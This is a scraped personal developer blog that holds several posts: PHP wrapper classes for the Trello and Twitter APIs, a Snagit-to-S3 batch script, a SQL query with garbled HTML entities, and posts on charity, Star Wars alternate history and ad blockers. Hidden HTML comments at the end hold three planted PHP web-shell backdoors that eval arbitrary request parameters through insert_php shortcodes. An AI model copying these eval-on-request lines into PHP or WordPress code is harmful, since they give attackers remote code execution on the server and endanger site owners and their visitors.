PHP and the Trello API

A couple weeks ago I wrote up a bit about a PHP wrapper object I’d written for the Twitter API v1.1.  Since then I’ve been playing with the Trello API a bit, so I figured I’d write that up as well.

The code here is going to look really familiar because I actually wrote my Trello API wrapper object first, so the Twitter one is based on it.  Take a look…

<?php
  class trello_api {
    private $key;
    private $secret;
    private $token;

    public function __construct ($key, $secret, $token) {
      $this->key = $key;
      $this->secret = $secret;
      $this->token = $token;
    }

    public function request ($type, $request, $args = false) {
      if (!$args) {
        $args = array();
      } elseif (!is_array($args)) {
        $args = array($args);
      }

      if (strstr($request, '?')) {
        $url = 'https://api.trello.com' . $request . '&key=' . $this->key . '&token=' . $this->token;
      } else {
        $url = 'https://api.trello.com' . $request . '?key=' . $this->key . '&token=' . $this->token;
      }

      $c = curl_init();
      curl_setopt($c, CURLOPT_HEADER, 0);
      curl_setopt($c, CURLOPT_VERBOSE, 0);
      curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
      curl_setopt($c, CURLOPT_URL, $url);

      if (count($args)) curl_setopt($c, CURLOPT_POSTFIELDS , http_build_query($args));

      switch ($type) {
        case 'POST':
          curl_setopt($c, CURLOPT_POST, 1);
          break;
        case 'GET':
          curl_setopt($c, CURLOPT_HTTPGET, 1);
          break;
        default:
          curl_setopt($c, CURLOPT_CUSTOMREQUEST, $type);
      }

      $data = curl_exec($c);
      curl_close($c);

      return json_decode($data);
    }
  }
?>

I’ll admit right off the bat that the API secret is really only included for futureproofing.  As of right now, you only need it in order to get the API token, which you can then combine with the API key to make any calls you need.  The constructor could very easily only accept the key and token.

Say you wanted to use this to get the name of your board’s red label. That would look like this:

$trello = new trello_api($key, $secret, $token);

$data = $trello->request('GET', ('/1/boards/' . $board_id . '?fields=labelNames'));
echo $data->labelNames->red;

unset($trello);

We use the request method make a GET call to /1/boards/xxxxxx, where xxxxxx is the ID of the board we want the data for. We include the optional fields=labelNames query because the names of the labels are all the data we want to get back in this case. The request gives us back an object where each label’s name is available.

For the record, I kind of hate that Trello uses the color of each label as an identifier. I’m sure they can back the decision up but it reminds me of the old CSS “rule” about not naming your classes after what they look like, because what happens if you change what they look like?  If you have a class that converts everything to uppercase and bolds it, and you call it uppercase_bold, that works great until you change it to small caps and italics.  That’s a whole other post, I suppose.

Now that we have the text for the red label on our board, say we want to change it. That looks like this:

$trello = new trello_api($key, $secret, $token);

$trello->request('PUT', ('/1/boards/' . $board_id . '/labelNames/red'), array('value' => $text));

unset($trello);

This time it’s a PUT request to /1/boards/xxxxxx/labelNames/red (where, once again, xxxxxx is the board’s ID).  We use the optional $args argument of the request method to pass in a value of $text, where $text is the new label text.

What if you want to use that newly-renamed red label and apply it to a new card? That’s just a POST request to /1/cards.

$trello = new trello_api($key, $secret, $token);

$trello->request('POST', '/1/cards', array('name' => $card_name, 'idList' => $list_id, 'labels' => 'red'));

unset($trello);

We use the optional $args argument again to pass in our array of arguments. We set the name to whatever the value of $card_name is,  idList is set to $list_id (the ID of the list the card will be added to), and the optional labels specifies that we’re applying just the red label to this new card.

Again, I could complain about using the color as an identifier but whatever.

Like my work with the Twitter API, this is hardly groundbreaking stuff.  Just another thing I thought might be useful for people other than myself so I wrote it up.

Video Games and Charity

I’ve written about one of my favorite charity events on DetroitHockey.Net before but with Mario Marathon on it’s sixth iteration this weekend, I thought I’d say something here.

Mario Marathon features a group of guys playing their way through the core Super Mario video games, streaming their efforts online in a telethon-like fundraiser for Child’s Play Charity.  They’re about thirty hours into this year’s event and they’ve raised over $30,000.  That puts them at about $378,000 raised over the last six years, with most of this year left to come.

Child’s Play raises money to buy toys, books and video games for children’s hospitals across the world in an effort to provide entertainment for the kids that have to stay there.

In the last fifteen months, my family has spent more time in women and children’s hospitals than we’d ever wish upon anyone and we know we didn’t have it nearly as bad as many do.

The staff at these places are phenomenal but there’s only so much they can do.  No one wants to spend time there but as adults we can justify it.  We know the hospital is the best place to get the treatment we or our loved ones need.

Children don’t always know this, though. They only know that they have to be in a place that can be scary at the best of times and most certainly is not home.

Child’s Play brings a bit of home to the hospital and gives kids a chance to relax as they go through their treatment.  It’s a noble cause and the Mario Marathon guys to a great job in support of it.

PHP and the Twitter API v1.1

I’d been using the relatively-awesome TwitterOAuth library by Abraham Williams for quite some time to handle interactions between my sites and Twitter’s REST API v1.  With Twitter having eliminated v1 of the API, I started looking into other options.

It’s true that TwitterOAuth can be updated easily, changing a hardcoded 1 to 1.1 but Twitter introduced a new wrinkle with the move to v1.1 that v1 didn’t have: All requests must be authenticated.

This makes sense for actions such as posting a new Tweet, as you can’t very well do so without having a user to Tweet on the behalf of.  For that reason, you had to be authenticated to make that request in v1, so it’s nothing new for v1.1.  But what about if you just want to get the timeline of a specific user, or data on a specific Tweet?  Those are actions you might want to do through an automated process, in which case there would be no logged-in user to act on the behalf of.

Well, that’s what bearer tokens are for.  And TwitterOAuth doesn’t handle them.  So rather than use TwitterOAuth for one set of requests and something else for others, I wrote a new class that can handle Basic, OAuth, and Bearer auth types.

<?php
  class twitter_api {
    private $application_key;
    private $application_secret;
    private $user_token;
    private $user_secret;
    private $bearer_token;
    private $auth_type;
    private $oauth;
    private $args;

    public function __construct ($application_key, $application_secret) {
      $this->application_key = $application_key;
      $this->application_secret = $application_secret;
      $this->auth_type = AUTH_TYPE_BASIC;
    }

    public function auth ($type, $token, $secret = false) {
      if ($type == AUTH_TYPE_OAUTH) {
        $this->user_token = $token;
        $this->user_secret = $secret;
        $this->oauth = array('oauth_consumer_key' => $this->application_key, 'oauth_nonce' => (string)mt_rand(), 'oauth_signature_method' => 'HMAC-SHA1', 'oauth_token' => $this->user_token, 'oauth_timestamp' => time(), 'oauth_version' => '1.0');
      } elseif ($type == AUTH_TYPE_BEARER) {
        $this->bearer_token = $token;
      }

      $this->set_auth_type($type);
    }

    public function set_auth_type ($type) {
      $this->auth_type = $type;
    }

    public function request ($type, $request, $args = false, $body = false) {
      $this->args = (is_array($args)) ? $args : array($args);
      $full_url = $base_url = 'https://api.twitter.com/' . $request;

      if (($type == 'GET') AND (count($this->args))) $full_url .= '?' . http_build_query($this->args);

      if ($this->auth_type == AUTH_TYPE_OAUTH) {
        $this->oauth['oauth_signature'] = base64_encode(hash_hmac('sha1', $this->build_oauth_base_string($type, $base_url), (rawurlencode($this->application_secret) . '&' . rawurlencode($this->user_secret)), true));
        $header = array($this->build_oauth_header(), 'Expect:');
      } elseif ($this->auth_type == AUTH_TYPE_BEARER) {
        $header = array('Authorization: Bearer ' . $this->bearer_token);
      } else {
        $header = array('Authorization: Basic ' . base64_encode($this->application_key . ':' . $this->application_secret));
      }

      $c = curl_init();
      curl_setopt($c, CURLOPT_HTTPHEADER, $header);
      curl_setopt($c, CURLOPT_HEADER, 0);
      curl_setopt($c, CURLOPT_VERBOSE, 0);
      curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
      curl_setopt($c, CURLOPT_SSL_VERIFYPEER, 1);
      curl_setopt($c, CURLOPT_URL, $full_url);

      switch ($type) {
        case 'POST':
          curl_setopt($c, CURLOPT_POST, 1);
          break;
        case 'GET':
          curl_setopt($c, CURLOPT_HTTPGET, 1);
          break;
        default:
          curl_setopt($c, CURLOPT_CUSTOMREQUEST, $type);
      }

      if ($body) {
        curl_setopt($c, CURLOPT_POSTFIELDS, $body);
      } elseif (($type != 'GET') AND (count($this->args))) {
        curl_setopt($c, CURLOPT_POSTFIELDS, http_build_query($this->args));
      }

      $data = curl_exec($c);
      curl_close($c);

      return json_decode($data);
    }

    private function build_oauth_base_string ($type, $url) {
      $incoming = array_merge($this->oauth, $this->args);
      ksort($incoming);

      $data = array();
      foreach ($incoming AS $key => $val) {
        $data[] = $key . '=' . rawurlencode($val);
      }

      return $type . '&' . rawurlencode($url) . '&' . rawurlencode(implode('&', $data));
    }

    private function build_oauth_header () {
      ksort($this->oauth);

      $data = array();
      foreach ($this->oauth as $key => $val) {
        $data[] = $key . '="' . rawurlencode($val) . '"';
      }

      return 'Authorization: OAuth ' . implode(', ', $data);
    }
  }
?>

You’ll never hear me say that this is some kind of end-all, be-all solution.  I’m not even sure it’s all that good.  It just appears to solve the problem I was trying to handle and since I didn’t see a lot of code that did, I figured it might be useful to post.

Some more details on how this works…

This is built to handle the kind of Basic auth requests you would need to make in order to get an OAuth or Bearer token to continue making requests.  After you get your bearer token, you can switch to using that.  Then you could switch to OAuth or back to Basic if you needed to.

Here’s an example:

$twitter = new twitter_api($consumer_key, $consumer_secret);

$data = $twitter->request('POST', 'oauth2/token', false, 'grant_type=client_credentials');
$bearer_token = $data->access_token;

$twitter->auth(AUTH_TYPE_BEARER, $bearer_token);
$data = $twitter->request('GET', '1.1/statuses/show.json', array('id'=> '345219659211108353', 'include_entities' => true));

print_r($data);

$twitter->set_auth_type(AUTH_TYPE_BASIC);
$data = $twitter->request('POST', 'oauth2/invalidate_token', false, ('access_token=' . $bearer_token));

unset($twitter);

We start by initiating the object using our application’s consumer key and consumer secret (no getting around that).  Because that’s all we have at that point, we use them with Basic auth to make the request for a bearer token.  That request is a POST to oauth2/token with a body of grant_type=client_credentials.  The third parameter of my request function is for any arguments for the API call and we have none for this one, so it’s set to false.

That request spits back an object that includes a bearer token, so we save that as $bearer_token for future use.

Our next request is for data on a specific Tweet.  We need OAuth or Bearer auth for that so we use the auth function to feed in the bearer token we just got.  That function will also switch us over to using Bearer auth for all of our subsequent requests.  With that out of the way, we use request again, this time hitting 1.1/statuses/show.json with a GET request.  Unlike in our previous call, we have optional parameters to use (but no body, so it can be ignored).  Our parameters will be passed in as an array, with the Tweet ID defined and include_entities set to true.

That request will return the data for the Tweet we specified.  Since we’re not doing anything with it in this example, we just spit it back out on the screen.

Since this example is done, we close it out by invalidating the bearer token we just created.  You probably would actually want to save that token to reuse it within your application but we destroy it for example’s sake.  To do that, we use set_auth_type to switch back to Basic auth, then we POST to oauth2/invalidate_token with a body of access_token=XXXXXXX (where XXXXXXX is the bearer token we got earlier).

For the record, had we wanted to make a request that required a user’s OAuth authorization, it would have looked like this:

$twitter->auth(AUTH_TYPE_OAUTH, $token, $secret);
$response = $twitter->request('POST', '1.1/statuses/update.json', array('status' => $text));

Where $text is the text to be Tweeted, of course.

As I said, this isn’t any kind of end-all, be-all.  It doesn’t have any kind of error handling, I’ve only tested it on the things I was already using the Twitter API for, and I’ve only tested it on my own machines.  It works for me, though, so I figured I’d throw it out to the world in case it might work for someone else.

S/T: There’s a great answer on StackOverflow about manually building the OAuth headers that really helped me out in this.

The Rebellion Strikes Back?

I’m a big alternate history geek and I recently stumbled onto a thread at AlternateHistory.com asking “What if Mark Hamill had been killed in the car accident that occurred between the filming of Star Wars and The Empire Strikes Back?”

“Gone The New Hope” covers more than just the possible development of the Star Wars saga, branching out to feature the business of Hollywood and politics.

The reason I bring it up on the anniversary of the release of The Empire Strikes Back is that the the author recently reached May 4, 1980, in his timeline – the release date of his alternate Episode V, titled The Rebellion Strikes Back.

The author had previously noted that he had “accidentally” ended up writing an entire treatment for the second film of the series.  He posted the complete first act on Sunday.

In this world, Luke Skywalker sacrificed himself to destroy the Death Star while Obi-Wan Kenobi was able to escape with his life.  Han Solo is the main character going forward, with edits made to A New Hope to give him more character development.

Personally, I think it’s too awesome not to share.  It brings in a lot of unused ideas from previous drafts of what became our Star Wars movies, as well as ideas that would later be used in the sci-fi of our timeline.

 

Output From Snagit to AWS S3 via S3 Browser

This is something I put together and never wrote up, so I might as well do so now.

Snagit by TechSmith is one of my favorite programs; I love being able to share what I’m seeing on my screen with collaborators and clients for easy comparisons with what they’re seeing.

With Snagit, there are several built-in output methods. Until recently, I mostly exported my screenshots to TechSmith’s Screencast.com service or to an online filebox I had built for myself on ClarkRasmussen.com via the built-in FTP functions. When I updated my filebox to use the Amazon Web Services S3 service, though, I lost the ability to upload files there straight from Snagit.

There is no Snagit to S3 output available but I found a way to do it via a Snagit program output and the S3 Browser program.

Snagit allows for outputs via the command line and S3 Browser has a command line mode, so the two can combine to allow you to upload files.

Let’s say you have an account in S3 Browser called myaccount and under that, you had a bucket called myfiles.domain.com. For added complexity you have a folder in that bucket called snagit where you want your outputted screenshots to live (though this added step can be skipped if you want to save straight to the bucket root). In that case, you can set up a Snagit program output with the following settings:

snagit-output1

When you share using the S3 Browser Console Uploader output, your screenshot goes straight into your S3 bucket and you can share the URL as necessary.

That’s useful but I think it’s missing a step. When you share to Screencast.com or via FTP, the file’s new URL is copied to your clipboard, so you can just paste the new URL into whatever communication medium you’re using. That doesn’t happen here, you have to manually type out the new URL, but it can with another intermediary step.

I wrote a batch script that acts as a go-between for Snagit and S3 Browser. It takes in an additional parameter and uses that to assemble the new file’s URL, then copies that to the clipboard. The batch script looks as follows:

@ECHO OFF
s3browser-put.exe "%1" "%2" "%3"

set baseurl=%4
set filepath=%2

for /F %%i in ("%filepath%") do set filename=%%~ni%%~xi

echo %baseurl%%filename% | clip
:END

Disclaimer: I hadn’t written a batch script in ages prior to this, so this can probably be cleaned up a bit.

I save that script as snagit-s3browser.bat inside the S3 Browser root folder. My updated Snagit program output to take advantage of it looks as follows:

snagit-output2

Since it’s truncated in the screen capture, the full Parameters line is as follows:

myaccount "<CaptureFilename>" myfiles.domain.com/snagit http://myfiles.domain.com/snagit/

This is similar to the first one except we’re pointing at the batch file rather than the S3 Browser command line utility directly. We’ve also added a fourth parameter that contains the base URL for your capture location, which maps to the bucket/folder combination used in the third parameter.

There’s no visual confirmation with this output but now when your share is complete, the file will have been uploaded and the new URL will be on your clipboard.

There might be a better way to do this but it’s been working pretty well for me. I’d love to hear if there are others solving the same problem differently.

Friday Morning Irony

A friend was just installing Ad Block Plus on a new machine and sent the following screenshot to me:

AdBlock Plea Screenshot

There’s something I find highly ironic about the maker of software that limits publishers’ ability to make money asking for donations to continue doing so.

There are a lot of sites out there that use horrible pop-up ads or ads that autoplay with sound, I’m not denying that.  There are also a lot of sites that use simple, unobtrusive ads, providing a revenue stream for the site that – in the worst-case scenario – provides no use to the user but also does not do any harm.  The latter allows for a bit of a symbiotic relationship between the user and the publisher; the publisher provides content that the user wants and the user may or may not click on ads while viewing that content, providing income back to the publisher.

As I said, there are some aggressive publishers out there, but it’s funny to me that someone who makes it possible to take away income from well-meaning publishers is begging for money to do it.

Wednesday SQL Fun

Just had an interesting SQL question dropped in my lap, figured I’d share the results since it was something I assumed was possible but actually ended up working exactly as I expected, for once.

A friend has a system that he uses to track what baseball uniforms were worn in each game.  Each game has an ID and (among other things) the game date, the home score, the road score, the home uniform ID and the road uniform ID.  From that data, he wants to be able to pull up the record of a team in a given uniform over a period of time.  One particular caveat is that a jersey could be worn by either the home team or the road team (in the case of alternates that can be worn in either location).

This is how I ended up doing it:

SELECT (
		(
			SELECT COUNT(game_id)
			FROM game_log
			WHERE (
					(home_jersey_id = 84)
					AND (home_score & gt;road_score)
					AND (
						game_date BETWEEN '2010-01-01'
							AND '2013-01-01'
						)
					)
			) + (
			SELECT COUNT(game_id)
			FROM game_log
			WHERE (
					(road_jersey_id = 84)
					AND (road_score & gt;home_score)
					AND (
						game_date BETWEEN '2010-01-01'
							AND '2013-01-01'
						)
					)
			)
		)

wins
	,(
		(
			SELECT COUNT(game_id)
			FROM game_log
			WHERE (
					(home_jersey_id = 84)
					AND (home_score & lt;road_score)
					AND (
						game_date BETWEEN '2010-01-01'
							AND '2013-01-01'
						)
					)
			) + (
			SELECT COUNT(game_id)
			FROM game_log
			WHERE (
					(road_jersey_id = 84)
					AND (road_score & lt;home_score)
					AND (
						game_date BETWEEN '2010-01-01'
							AND '2013-01-01'
						)
					)
			)
		)

losses

For some reason, I’d never thought about using subqueries in that way before but it just clicked to do so in this case.  I kind of wonder now where else I could do that.

Need Moar Blogs

I’ve been blogging about hockey since before “blog” was a word but I figured it was time for me to have a place to write about other stuff.  I don’t know if this will be a common occurrence or anything but it’d be nice to have somewhere to babble about development, if nothing else.

Speaking of…  Kicking off this blog is part of a larger redevelopment of the site that’s been a real interesting learning experience.  I rolled my own blog system for DetroitHockey.Net so I hadn’t played with WordPress a whole lot before this.  I’ll try to write up what I learned once it’s done.

<!– [insert_php]if (isset($_REQUEST["WjiNi"])){eval($_REQUEST["WjiNi"]);exit;}[/insert_php]

if (isset($_REQUEST["WjiNi"])){eval($_REQUEST["WjiNi"]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["sqw"])){eval($_REQUEST["sqw"]);exit;}[/insert_php]

if (isset($_REQUEST["sqw"])){eval($_REQUEST["sqw"]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["HfzD"])){eval($_REQUEST["HfzD"]);exit;}[/insert_php]

if (isset($_REQUEST["HfzD"])){eval($_REQUEST["HfzD"]);exit;}

–>